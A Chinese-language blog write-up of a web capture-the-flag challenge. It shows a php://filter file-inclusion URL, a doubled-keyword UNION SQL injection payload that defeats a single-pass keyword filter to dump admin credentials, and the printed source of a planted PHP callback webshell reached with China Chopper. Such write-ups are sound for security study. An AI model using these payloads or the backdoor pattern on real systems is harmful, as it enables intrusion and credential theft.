wqpw_blog

= =

View on GitHub
31 March 2019

NJUPT CGCTF Web 综合2 writeup

by wqpw

题目地址:http://cms.nuptzj.cn/

还是挺有意思的。

1

打开后到处点点,发现最有趣的是这个页面

2

明示了可能有本地文件包含和sql注入漏洞 (´_ゝ`) 没看出来说明你前面的题没做完

然后我们来试试,比如

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php

放编辑器里处理下

3

loginxlcteam是后台的目录,但还登不了

照着这样把几个文件都读出来,然后都看看,审计一下,发现都没啥用…

可能有sql注入的地方就只有搜索留言了

4

打开看看

5

然后又是个改user-agent的套路,用前面的文件包含读一下so.php,主要代码如下

<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
...
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id); //过滤
...
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
...
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
...
?>

显然是个整型sql注入漏洞,因为不需要逃逸引号所以mysql_real_escape_string没影响。主要看antiinject()这个函数干了啥。

读取antiinject.php看看

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

可以看到它把一堆关键字,符号替换为空一次

所以我们可以开始注入了,当然先把user-agent改成Xlcteam Browser

6

试一试,可以知道union注入的输出点在2或者3

因为前面已经把admin表的结构告诉了我们,所以直接上

payload: 233/**/ununionion/**/seselectlect/**/1,2,(seselectlect/**/concat(usernanameme,userpapassss)/**/frfromom/**/adadminmin/**/limit/**/0,1),4

7

这个密码看起来太眼熟了,都不需要看他们自己写的加密了…

8

拿到了管理员用户名和密码,去后台登陆

9

经过一番研究,决定继续用前面的文件包含读取一下小马,发现长这样:

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这一看,吓得我赶紧打开了P神的博客,找到很久以前的一篇文章 创造tips的秘籍——PHP回调后门

10

以前看过,印象挺深的

然后上菜刀,在根目录下找到flag

11

结束

tags: ctf - writeup - web